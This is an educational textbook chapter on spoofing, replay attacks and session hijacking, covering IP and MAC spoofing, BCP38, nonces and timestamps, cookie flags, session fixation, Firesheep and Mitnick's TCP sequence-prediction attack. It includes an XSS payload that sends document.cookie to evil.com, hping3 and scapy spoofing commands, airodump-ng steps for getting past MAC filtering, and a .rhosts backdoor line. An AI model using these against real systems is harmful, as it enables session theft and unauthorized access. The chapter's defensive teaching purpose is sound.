Chapter 29: Spoofing, Replay, and Session Hijacking

"The essence of deception is not creating something from nothing, but making the victim trust what they should not." — Bruce Schneier

Spoofing, replay, and session hijacking share a common thread: they do not break cryptography. They exploit trust. They abuse the assumptions protocols make about identity, freshness, and origin.

Consider a real scenario: "phantom transactions" appear in an internal ledger app — duplicates that look like database bugs. Packet captures reveal the truth: someone outside the network was replaying authenticated API requests. They captured a legitimate transaction, waited forty minutes, and sent it again. The server happily processed it because the session token was still valid and nobody had implemented replay protection. The attacker never cracked anything. They just sent the same thing twice.


IP Spoofing: Lying About Where You Come From

Every IP packet carries a source address. The fundamental problem: nothing in the IP protocol itself verifies that the source address is truthful. The sender fills in whatever address they want, and routers forward the packet based on the destination address alone.

You might wonder: if you spoof your source IP, the response goes to the spoofed address, not to you — so how useful is that? The answer depends on the protocol. There are important scenarios where you do not need the reply at all.

Why Stateless UDP Is More Vulnerable Than TCP

The critical distinction between TCP and UDP spoofing comes down to state:

graph TD
    subgraph TCP["TCP: Stateful — Hard to Spoof"]
        T1["1. Attacker sends SYN<br/>with spoofed source"]
        T2["2. Server sends SYN-ACK<br/>to SPOOFED address<br/>(attacker never sees it)"]
        T3["3. Attacker must guess<br/>32-bit sequence number<br/>to send valid ACK"]
        T4["Probability: 1 in 4.3 billion<br/>per attempt (modern randomized ISN)"]
        T1 --> T2 --> T3 --> T4
    end

    subgraph UDP["UDP: Stateless — Easy to Spoof"]
        U1["1. Attacker sends UDP packet<br/>with spoofed source"]
        U2["2. Server processes request<br/>and sends response to<br/>SPOOFED address"]
        U3["3. No handshake needed.<br/>No sequence numbers.<br/>Server processes the<br/>single packet immediately."]
        U4["Result: Amplification attacks,<br/>reflected floods, cache poisoning"]
        U1 --> U2 --> U3 --> U4
    end

    style T4 fill:#228844,color:#fff
    style U4 fill:#cc2222,color:#fff

UDP's vulnerability enables:

  • DDoS amplification (Chapter 28): Small spoofed request to DNS/NTP/memcached generates massive response to victim
  • DNS cache poisoning: Spoofed DNS responses can poison resolver caches
  • Voice/video disruption: SIP/RTP traffic can be interrupted or injected
  • Game server manipulation: Many online games use UDP for low-latency communication

TCP spoofing is harder but not impossible:

  • Blind spoofing (without seeing responses) requires predicting sequence numbers — computationally infeasible with modern randomized ISNs (RFC 6528)
  • Non-blind spoofing (on the same network segment) is trivial because the attacker can sniff the sequence numbers directly
  • Historical example: Kevin Mitnick's 1994 attack used predictable sequence numbers (more on this below)

Demonstrating IP Spoofing

# Using hping3 to send a TCP SYN with a spoofed source address
# WARNING: Only use this on networks you own and control
$ sudo hping3 -S -a 10.0.0.99 -p 80 192.168.1.1
# -S: SYN flag
# -a 10.0.0.99: spoof source address
# -p 80: target port 80
# 192.168.1.1: destination

# Using scapy (Python) for more control:
from scapy.all import *
# Create a spoofed UDP packet
pkt = IP(src="10.0.0.99", dst="192.168.1.1") / UDP(dport=53) / \
      DNS(rd=1, qd=DNSQR(qname="example.com"))
send(pkt)

# Observe with tcpdump on the target:
$ sudo tcpdump -i eth0 -nn 'host 10.0.0.99'
14:30:01.123456 IP 10.0.0.99.12345 > 192.168.1.1.80: Flags [S], seq 123456
# You'll see traffic appearing to come from 10.0.0.99 — a lie

BCP38: Ingress Filtering — The Defense That Should Be Everywhere

The primary defense against IP spoofing is BCP38 (RFC 2827), which defines ingress filtering. The concept is elegantly simple:

flowchart TD
    subgraph Customer["Customer Network<br/>Owns: 198.51.100.0/24"]
        Legit["Packet: src=198.51.100.15<br/>(legitimate)"]
        Spoofed["Packet: src=203.0.113.50<br/>(spoofed!)"]
    end

    subgraph ISP["ISP Edge Router"]
        Check{"Source IP within<br/>customer's block?<br/>(198.51.100.0/24)"}
    end

    Legit --> Check
    Spoofed --> Check

    Check -->|"Yes: 198.51.100.15<br/>is within /24"| Pass["PASS:<br/>Forward to Internet"]
    Check -->|"No: 203.0.113.50<br/>is NOT within /24"| Drop["DROP:<br/>Log violation"]

    style Pass fill:#228844,color:#fff
    style Drop fill:#cc2222,color:#fff

Why is this not deployed everywhere? That question haunts the security community. BCP38 was published in the year 2000. Over twenty-five years later, significant portions of the internet still do not implement it. The Spoofer Project at CAIDA tests this regularly — roughly 25-30% of autonomous systems still permit spoofing. The reasons are human, not technical: it requires effort from ISPs to configure, provides no direct benefit to the ISP doing it — only to potential victims elsewhere — and there is no regulatory requirement in most jurisdictions. It is a classic tragedy of the commons.

# On your own network, implement ingress filtering:

# Using iptables on a Linux router
# On interface eth1 connected to subnet 192.168.1.0/24:
$ sudo iptables -A FORWARD -i eth1 ! -s 192.168.1.0/24 -j DROP

# Better: use Reverse Path Filtering (kernel built-in)
# Strict mode: drop packets if source IP wouldn't be routed back
# through the same interface
$ sudo sysctl -w net.ipv4.conf.all.rp_filter=1

# Make permanent
$ echo "net.ipv4.conf.all.rp_filter = 1" >> /etc/sysctl.conf

# Check your ISP's BCP38 compliance:
# Run the CAIDA Spoofer client: https://spoofer.caida.org/
Reverse path filtering (`rp_filter=1`, strict mode) can break legitimate asymmetric routing configurations where traffic enters and exits through different interfaces. In complex networks with multiple uplinks, use loose mode (`rp_filter=2`) instead, which only checks that the source IP is routable through *some* interface — not necessarily the receiving interface.

MAC Spoofing and Port Security

While IP spoofing happens at Layer 3, MAC spoofing targets Layer 2. Every network interface has a MAC address — a 48-bit identifier supposedly burned into hardware. In practice, changing it takes one command.

# Linux: change MAC address
$ sudo ip link set dev eth0 down
$ sudo ip link set dev eth0 address aa:bb:cc:dd:ee:ff
$ sudo ip link set dev eth0 up

# macOS:
$ sudo ifconfig en0 ether aa:bb:cc:dd:ee:ff

# Windows (PowerShell):
Set-NetAdapter -Name "Ethernet" -MacAddress "AA-BB-CC-DD-EE-FF"

# Verify the change
$ ip link show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
    link/ether aa:bb:cc:dd:ee:ff brd ff:ff:ff:ff:ff:ff

There are three common attack scenarios for MAC spoofing:

1. Bypassing MAC-based access control. Many WiFi networks use MAC filtering as a gatekeeper. Spoof an authorized MAC and you are in.

# Discover authorized MACs on a WiFi network by sniffing
$ sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF
# The STATION column shows connected client MACs
# Pick one, wait for that client to disconnect, then spoof their MAC

2. ARP cache poisoning. Spoofing MAC addresses in ARP replies redirects traffic intended for one host to the attacker — the foundation of most LAN-based MitM attacks (Chapter 27).

3. Evading network forensics. If IDS/IPS logs activity by MAC address, spoofing lets you frame another device or become untraceable.

Switch Port Security

The primary defense against MAC spoofing on wired networks:

! Cisco IOS: enable port security
interface GigabitEthernet0/1
  switchport mode access
  switchport port-security
  switchport port-security maximum 2
  switchport port-security violation restrict
  switchport port-security mac-address sticky
  ! sticky: learn the first MAC and lock it

! Combined with 802.1X for cryptographic authentication:
interface GigabitEthernet0/1
  dot1x port-control auto
  authentication order dot1x mab
  ! dot1x first, then MAC Authentication Bypass as fallback
**802.1X port-based authentication** is the strongest defense against MAC spoofing because it requires cryptographic proof of identity before granting network access. The MAC address becomes irrelevant — even a valid MAC is rejected without a valid certificate or credential.

The authentication flow:
1. Device connects to switch port
2. Switch puts port in unauthorized state (only EAPOL frames allowed)
3. Device presents credentials via EAP (certificate, username/password, etc.)
4. Switch forwards credentials to RADIUS server for verification
5. RADIUS server validates and returns VLAN assignment
6. Switch moves port to authorized state in the assigned VLAN

This defeats MAC spoofing entirely because access depends on cryptographic identity, not the easily-forged MAC address.

Replay Attacks: When Valid Messages Become Weapons

A replay attack is conceptually the simplest attack in this chapter: the attacker records a legitimate, properly authenticated message and sends it again later.

Think of it this way. You call your bank and say "Transfer $5,000 to account XYZ." The bank verifies your identity and processes the transfer. Now imagine someone recorded that phone call and played it back to the bank the next day. Your voice, your authentication, everything is perfectly legitimate. The bank processes another $5,000 transfer. The message is authentic — it is just not fresh. Authentication tells you WHO sent the message. Replay protection tells you WHEN. Without both, you have a vulnerability.

sequenceDiagram
    participant User as Legitimate User
    participant Attacker as Attacker (sniffing)
    participant Server as Server

    User->>Server: POST /api/transfer<br/>Auth: Bearer eyJhbG...<br/>{"amount": 5000, "to": "acct-789"}
    Note over Attacker: Captured the complete<br/>authenticated request!
    Server-->>User: 200 OK - Transfer complete

    Note over Attacker: 2 hours later...

    Attacker->>Server: POST /api/transfer<br/>Auth: Bearer eyJhbG...<br/>{"amount": 5000, "to": "acct-789"}<br/>(EXACT SAME REQUEST)

    Note over Server: Token still valid.<br/>Request looks legitimate.<br/>Processes duplicate transfer.

    Server-->>Attacker: 200 OK - Transfer complete (AGAIN!)

    Note over User: Lost another $5,000<br/>without knowing it

Where Replay Attacks Strike

TargetMechanismImpact
REST API callsCaptured authenticated request replayedDuplicate transactions, unauthorized actions
Authentication tokensCaptured Kerberos ticket or OAuth token reusedSession impersonation
Financial transactionsReplayed payment or transfer requestsFinancial fraud
Wireless key fobs (pre-rolling-code)Fixed code recorded and replayedCar theft, garage access
Network authentication (RADIUS, NTLM)Captured authentication exchange replayedUnauthorized network access

Defense Mechanism 1: Nonces (Numbers Used Once)

A nonce is a unique value included in each request. The server tracks which nonces it has seen and rejects duplicates.

sequenceDiagram
    participant Client
    participant Server

    Client->>Server: Request nonce
    Server-->>Client: nonce = "a7f3b9c2e1"

    Client->>Server: POST /transfer<br/>nonce: a7f3b9c2e1<br/>HMAC(secret, body + nonce)
    Note over Server: 1. Verify HMAC ✓<br/>2. Check: nonce seen before? NO ✓<br/>3. Mark nonce as used
    Server-->>Client: 200 OK

    Note over Client: REPLAY ATTEMPT:

    Client->>Server: POST /transfer<br/>nonce: a7f3b9c2e1<br/>(same request replayed)
    Note over Server: 1. Verify HMAC ✓<br/>2. Check: nonce seen before? YES ✗<br/>3. REJECT
    Server-->>Client: 403 Forbidden:<br/>"Nonce already used"

Does maintaining a list of all used nonces get expensive over time? Yes, and that is why nonces are usually combined with timestamps. You only need to remember nonces within a time window — say, 5 minutes. After that window, the timestamp check rejects the request anyway, so old nonces can be purged.

Defense Mechanism 2: Timestamps

Include a timestamp in each request, and reject requests where the timestamp is too far from the server's current time:

# Example: API request with timestamp and HMAC
TIMESTAMP=$(date +%s)
BODY='{"amount":5000,"to":"acct-789"}'
NONCE=$(openssl rand -hex 16)
STRING_TO_SIGN="${TIMESTAMP}${NONCE}${BODY}"
SIGNATURE=$(echo -n "${STRING_TO_SIGN}" | \
    openssl dgst -sha256 -hmac "shared-secret" | awk '{print $2}')

curl -X POST https://api.example.com/transfer \
  -H "X-Timestamp: ${TIMESTAMP}" \
  -H "X-Nonce: ${NONCE}" \
  -H "X-Signature: ${SIGNATURE}" \
  -H "Content-Type: application/json" \
  -d "${BODY}"

The server validates:

  1. Is the timestamp within +/- 5 minutes of server time?
  2. Is the HMAC valid (proving timestamp and body haven't been tampered with)?
  3. Has this nonce been seen within the time window?
Timestamp-based replay protection requires synchronized clocks between client and server. If your server's clock drifts or a client's clock is wrong, legitimate requests get rejected. Always use NTP for clock synchronization and allow a reasonable-but-not-too-generous time window. AWS uses this approach for Signature Version 4 with a 5-minute window.

Defense Mechanism 3: Sequence Numbers

In persistent connections, each message includes an incrementing sequence number. The receiver rejects any message with a sequence number it has already processed:

TLS Record Layer:
├── TLS 1.2: Explicit sequence number in each record
│   Replay of record N is rejected because receiver
│   expects N+1 after processing N
│
├── TLS 1.3: Implicit sequence counter (never transmitted)
│   Both sides maintain synchronized counters
│   Even more resistant to manipulation
│
└── IPSec ESP: 64-bit sequence number in anti-replay window
    Packets outside the window are dropped
**Kerberos** uses a layered approach to replay defense that's worth studying:

1. **Timestamps:** Each authenticator contains a client timestamp. The KDC rejects authenticators with timestamps more than 5 minutes from server time.
2. **Replay cache:** The KDC and service principals cache recently seen authenticator timestamps. A replayed authenticator with the same timestamp is rejected.
3. **Session keys:** Each TGT and service ticket contains a unique session key. Even if an authenticator is replayed to a different service, the session key mismatch causes rejection.
4. **Ticket expiration:** Tickets have explicit lifetimes (typically 10 hours). After expiration, the entire ticket is invalid regardless of authenticator freshness.

This belt-and-suspenders approach is why Kerberos has remained robust for decades despite operating in hostile network environments. Modern API designers should adopt similar layering.

Session Hijacking: Stealing Someone Else's Identity

Session hijacking is the act of taking over a legitimate user's authenticated session. Instead of guessing passwords or breaking encryption, the attacker steals or forges the session identifier.

Authentication happens once. After that, every subsequent request relies on a session token — usually a cookie — that says "I am the person who authenticated earlier." Steal that token, and you ARE that person as far as the server is concerned.

Cross-Site Scripting (XSS) is the most common vector for session cookie theft:

sequenceDiagram
    participant Attacker
    participant WebApp as Vulnerable Web App
    participant Victim as Victim's Browser
    participant Evil as evil.com

    Attacker->>WebApp: Submit malicious content:<br/>Forum post containing:<br/><script>new Image().src=<br/>"https://evil.com/steal?c="<br/>+document.cookie</script>

    Victim->>WebApp: Visit page with<br/>malicious content
    WebApp-->>Victim: Page rendered with<br/>injected JavaScript

    Note over Victim: Browser executes script:<br/>Reads document.cookie<br/>session=abc123xyz

    Victim->>Evil: GET /steal?c=session=abc123xyz<br/>(cookie exfiltrated!)

    Note over Attacker: Attacker receives<br/>victim's session cookie

    Attacker->>WebApp: GET /dashboard<br/>Cookie: session=abc123xyz
    WebApp-->>Attacker: Welcome, Victim!<br/>(full account access)

The defense is the HttpOnly cookie flag:

Set-Cookie: session=abc123xyz; HttpOnly; Secure; SameSite=Strict; Path=/
  • HttpOnly: JavaScript cannot access this cookie — document.cookie won't include it
  • Secure: Only sent over HTTPS connections
  • SameSite=Strict: Never sent with cross-site requests (prevents CSRF and some XSS exfiltration)
# Verify a site's cookie flags:
$ curl -v -s -o /dev/null https://example.com/login 2>&1 | grep -i set-cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

# Test if HttpOnly is working:
# In browser console: document.cookie should NOT show the session cookie
# If it does, HttpOnly is not set — vulnerability!

Session Fixation: A Subtler Attack

Session fixation is subtler than theft. Instead of stealing an existing session, the attacker forces the victim to use a session identifier that the attacker already knows:

sequenceDiagram
    participant Attacker
    participant Server
    participant Victim

    Attacker->>Server: GET /login
    Server-->>Attacker: Set-Cookie: session=EVIL123

    Note over Attacker: Attacker now knows<br/>session=EVIL123

    Attacker->>Victim: Send phishing link:<br/>https://bank.com/login?sid=EVIL123

    Victim->>Server: GET /login?sid=EVIL123
    Note over Server: Sets session=EVIL123

    Victim->>Server: POST /login<br/>Cookie: session=EVIL123<br/>username=victim&password=pass123

    Note over Server: Authenticates victim<br/>ON session=EVIL123

    Server-->>Victim: 302 Redirect to /dashboard

    Note over Attacker: Uses same session=EVIL123<br/>(now authenticated as victim!)

    Attacker->>Server: GET /dashboard<br/>Cookie: session=EVIL123
    Server-->>Attacker: Welcome, Victim!

The defense is obvious once you see it: regenerate the session ID after login. It is shocking how many frameworks did not do this by default for years.

# Python Flask example — regenerate session on login
from flask import session, request, redirect

@app.route('/login', methods=['POST'])
def login():
    if authenticate(request.form['username'], request.form['password']):
        # CRITICAL: regenerate session ID after successful authentication
        session.regenerate()      # New session ID assigned
        session['user'] = request.form['username']
        session['authenticated'] = True
        session['ip'] = request.remote_addr  # Bind to IP for extra protection
        return redirect('/dashboard')
// Java Servlet — regenerate session
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
    oldSession.invalidate();  // Kill old session
}
HttpSession newSession = request.getSession(true);  // Create new session
newSession.setAttribute("user", username);
Session fixation isn't limited to URL parameters. Attackers can fix sessions via:
- **XSS**: Injecting `document.cookie = "session=EVIL123"`
- **Cookie tossing**: Setting cookies from a subdomain the attacker controls
- **HTTP response header injection**: If the app reflects user input in response headers
- **Meta tags**: In HTML injection scenarios

Always regenerate session IDs on any privilege level change — not just login, but also password change, MFA validation, and role elevation.

Firesheep and the HTTPS Everywhere Movement

In October 2010, Eric Butler released Firesheep, a Firefox extension that changed the trajectory of web security. Firesheep was barely a hundred lines of code. It put packet sniffing in a pretty GUI. You sat in a coffee shop, clicked a button, and it showed you the Facebook, Twitter, and Amazon sessions of everyone on the WiFi. Click on someone's face, and you were logged in as them.

How was that possible? HTTPS existed, but most sites only used it for the login page. You submitted your password over HTTPS, got a session cookie, and then the site redirected you to plain HTTP for everything else. Your session cookie flew across the WiFi in plaintext for the rest of your browsing session.

sequenceDiagram
    participant User as User
    participant WiFi as WiFi Network<br/>(shared medium)
    participant Facebook as facebook.com

    Note over User,Facebook: Pre-2011: HTTPS only for login

    User->>Facebook: POST /login (HTTPS)<br/>[encrypted - safe]
    Facebook-->>User: Set-Cookie: session=abc123<br/>302 Redirect to HTTP

    Note over WiFi: Firesheep is listening...

    User->>Facebook: GET /feed (HTTP!)<br/>Cookie: session=abc123<br/>[PLAINTEXT on WiFi!]

    Note over WiFi: Firesheep captures:<br/>session=abc123<br/>Username: "John Smith"<br/>Profile photo loaded

    Note over WiFi: Attacker clicks John's face<br/>in Firesheep GUI

    WiFi->>Facebook: GET /feed<br/>Cookie: session=abc123
    Facebook-->>WiFi: Welcome, John Smith!<br/>(full account access)

The Impact: Firesheep as a Catalyst

Firesheep didn't demonstrate a new attack — network sniffing had existed for decades. What it did was democratize the attack. Within months:

  • Facebook rolled out HTTPS for all sessions
  • Twitter enabled HTTPS by default
  • Google moved Gmail and then all services to HTTPS
  • The EFF launched the HTTPS Everywhere browser extension
  • Let's Encrypt was conceived (launching in 2015) to make HTTPS certificates free and automated
  • HSTS became widely adopted
At a security conference in 2011, the year after Firesheep came out, someone in the audience ran Firesheep on the conference WiFi and projected the results on a second screen. Faces of security professionals appeared one by one — people who should have known better but were still visiting non-HTTPS sites. The embarrassment factor drove more HTTPS adoption than any technical argument ever could. Sometimes shame is the most effective security control.

The broader lesson is that Firesheep was a public service disguised as an attack tool. Butler wanted to force the issue — and it worked. The web is overwhelmingly HTTPS today, and Firesheep was one of the catalysts.

Kevin Mitnick and TCP Sequence Prediction

No discussion of spoofing and session hijacking is complete without the most famous attack in hacking history: Kevin Mitnick's 1994 attack against Tsutomu Shimomura.

The Attack

Mitnick exploited two critical weaknesses:

  1. Predictable TCP Initial Sequence Numbers (ISNs): In 1994, many TCP implementations incremented the ISN by a fixed amount for each new connection. By observing a few connections, Mitnick could predict the ISN for the next one.

  2. IP-based trust (rsh/rlogin): Shimomura's systems used .rhosts files that granted remote shell access based solely on source IP address — no password required.

sequenceDiagram
    participant Mitnick as Mitnick
    participant X_Terminal as X-Terminal<br/>(target)
    participant Shimomura as Shimomura's Server<br/>(trusted by X-Terminal)

    Note over Mitnick: Step 1: SYN-flood Shimomura's server<br/>to prevent it from responding<br/>with RST to spoofed packets

    Mitnick->>Shimomura: SYN flood (thousands of SYNs)
    Note over Shimomura: Backlog full,<br/>cannot respond to anything

    Note over Mitnick: Step 2: Probe X-Terminal<br/>to learn ISN pattern

    Mitnick->>X_Terminal: SYN (connection 1)
    X_Terminal-->>Mitnick: SYN-ACK (ISN = 1000)
    Mitnick->>X_Terminal: RST

    Mitnick->>X_Terminal: SYN (connection 2)
    X_Terminal-->>Mitnick: SYN-ACK (ISN = 1128)
    Mitnick->>X_Terminal: RST

    Note over Mitnick: Pattern detected:<br/>ISN increments by 128 each time.<br/>Next ISN will be ~1256.

    Note over Mitnick: Step 3: Spoof Shimomura's IP<br/>and predict ISN

    Mitnick->>X_Terminal: SYN (src: Shimomura's IP)
    X_Terminal->>Shimomura: SYN-ACK (ISN=1256)<br/>(goes to flooded server — no RST)
    Mitnick->>X_Terminal: ACK (ack=1257)<br/>(predicted ISN + 1,<br/>still spoofing Shimomura's IP)

    Note over X_Terminal: Connection "established"<br/>with "Shimomura's server"

    Mitnick->>X_Terminal: echo "++ ++" >> .rhosts<br/>(still spoofing Shimomura's IP)

    Note over X_Terminal: .rhosts modified:<br/>now trusts ALL hosts!<br/>Mitnick has permanent access

The Fix: Randomized ISNs

The Mitnick attack led directly to RFC 6528, which standardized cryptographically unpredictable ISN generation:

ISN Generation Evolution:
├── 1981 (RFC 793):  ISN = timer incrementing every 4 μs
│   Completely predictable. Mitnick's era.
│
├── 1996 (post-Mitnick): ISN = timer + random increment
│   Better, but statistical patterns remained.
│
└── 2012 (RFC 6528):  ISN = hash(src_ip, src_port, dst_ip, dst_port, secret) + time
    Cryptographically unpredictable to external observers.
    Secret key rotated periodically.
    Modern standard — blind TCP hijacking is computationally infeasible.
# Verify modern ISN randomization is active on Linux
$ sysctl net.ipv4.tcp_timestamps
net.ipv4.tcp_timestamps = 1
# Modern kernels use RFC 6528 algorithm for ISN generation by default

# You can observe ISN randomization by looking at initial sequence numbers
# across multiple connections — they should show no discernible pattern:
$ for i in $(seq 1 5); do
    hping3 -S -p 80 -c 1 target.example.com 2>&1 | grep seq
done
# Each connection should have a completely unpredictable ISN

The Complete Attack Chain: From Coffee Shop to Account Takeover

These attacks rarely happen in isolation. A real-world attacker chains them:

graph TD
    Step1["Step 1: ARP Spoof<br/>Become MitM on WiFi network"]
    Step2["Step 2: DNS Spoof<br/>Redirect banking domain<br/>to attacker's server"]
    Step3["Step 3: SSL Strip or<br/>serve phishing page<br/>(if no HSTS)"]
    Step4["Step 4: Capture credentials<br/>or session cookies"]
    Step5["Step 5: Replay captured<br/>API tokens for<br/>lateral access"]
    Step6["Step 6: Access linked services,<br/>exfiltrate data"]

    Step1 --> Step2 --> Step3 --> Step4 --> Step5 --> Step6

    subgraph Defenses["Defense Chain That Breaks This"]
        D1["WPA3-Enterprise<br/>(prevents sniffing)"]
        D2["HSTS Preload<br/>(prevents SSL stripping)"]
        D3["Certificate Pinning<br/>(prevents fake certs)"]
        D4["FIDO2/WebAuthn<br/>(phishing-resistant auth)"]
        D5["Token Binding / DPoP<br/>(prevents token replay)"]
    end

    style Step1 fill:#cc2222,color:#fff
    style Step6 fill:#cc2222,color:#fff
    style Defenses fill:#228844,color:#fff

Modern Session Protection Checklist

graph TD
    subgraph Cookies["Cookie Security Flags"]
        Secure["Secure: HTTPS only"]
        HttpOnly["HttpOnly: no JavaScript access"]
        SameSite["SameSite: controls cross-origin"]
        Path["Path/Domain: limit scope"]
    end

    subgraph Server["Server-Side Controls"]
        Regen["Regenerate session ID on login"]
        RegenPriv["Regenerate on privilege change"]
        Expire["Reasonable expiration times"]
        Bind["Bind to client fingerprint<br/>(IP + User-Agent, with care)"]
        Absolute["Absolute session timeout"]
        Invalidate["Invalidate server-side on logout"]
    end

    subgraph Transport["Transport Security"]
        HSTS["HSTS with preload"]
        Pin["Certificate pinning (mobile)"]
        CT["Certificate Transparency"]
    end

    subgraph Modern["Modern Token Security"]
        DPoP["DPoP: Proof of possession<br/>tokens bound to client key"]
        mTLS["Mutual TLS: client certificates"]
        TokenBind["Token Binding: ties tokens<br/>to TLS channel"]
    end
# Test your application's session security:

# 1. Check cookie flags
$ curl -v -s -o /dev/null https://example.com/login 2>&1 | grep -i set-cookie
# Look for: HttpOnly; Secure; SameSite=Strict

# 2. Check HSTS header
$ curl -s -D - https://example.com -o /dev/null | grep -i strict-transport
# Expected: max-age=31536000; includeSubDomains; preload

# 3. Test session invalidation on logout
# Log in, copy session cookie, log out, try using old cookie
$ curl -b "session=old-cookie-value" https://example.com/dashboard
# Should return 401/403, not the dashboard

# 4. Test session regeneration on login
# Note session ID before login, then after login
# They MUST be different

# 5. Test HttpOnly
# In browser console: document.cookie
# Session cookie should NOT appear
Test your own application's session handling:

1. **Cookie flags:** Use `curl -v` to check Set-Cookie headers. Verify HttpOnly, Secure, and SameSite are present.

2. **Session regeneration:** Log in and note the session ID. Log out. Log in again. If the session ID is the same, you have a session fixation vulnerability.

3. **Server-side invalidation:** Log in, copy the session cookie. Log out. Try to use the copied cookie. If it still works, your logout doesn't invalidate the session server-side.

4. **Replay test:** Capture an authenticated API request with `curl -v`. Wait 10 minutes. Replay it exactly. Does the server process it again? If your API handles financial transactions, this is a critical vulnerability.

5. **XSS + cookie theft:** If you have a test application, intentionally introduce a reflected XSS (`<script>alert(document.cookie)</script>`) and verify that HttpOnly prevents the session cookie from appearing in the alert.

6. **Concurrent sessions:** Log in from two browsers. Log out from one. Does the other session survive? Document the expected behavior for your application.

What You've Learned

This chapter covered attacks that exploit trust, identity, and freshness rather than breaking cryptographic algorithms:

  • IP spoofing is possible because the IP protocol doesn't verify source addresses. UDP is far more vulnerable than TCP because it's stateless — no handshake means a single spoofed packet is processed immediately. BCP38/ingress filtering is the primary defense, but remains unevenly deployed (25-30% of the internet still allows spoofing).

  • MAC spoofing enables Layer 2 attacks including WiFi access control bypass, ARP cache poisoning for MitM, and forensic evasion. 802.1X port-based authentication is the strongest defense because it requires cryptographic identity proof, not just a MAC address.

  • Replay attacks re-send legitimate, authenticated messages to cause duplicate processing. The three defense mechanisms are nonces (single-use values), timestamps (bounded time windows), and sequence numbers (monotonic counters). Robust systems like Kerberos and AWS Signature V4 combine multiple mechanisms.

  • Session hijacking steals or forges session identifiers to impersonate authenticated users. Cookie theft via XSS is the most common vector — defended by the HttpOnly flag. Session fixation forces victims to use attacker-known session IDs — defended by session regeneration on login.

  • Firesheep (2010) democratized WiFi session hijacking, catalyzing the web's migration to universal HTTPS. It demonstrated that even well-understood vulnerabilities aren't taken seriously until exploitation becomes trivial.

  • Kevin Mitnick's 1994 attack exploited predictable TCP sequence numbers and IP-based trust to hijack a TCP session blindly. This led to RFC 6528's cryptographically random ISN generation, making blind TCP hijacking computationally infeasible on modern systems.

  • These attacks chain together in practice. ARP spoofing enables DNS spoofing, which enables SSL stripping, which enables credential theft, which enables session hijacking, which enables data exfiltration. Defense requires layered controls at every level — network, transport, application, and session management. No single control is sufficient.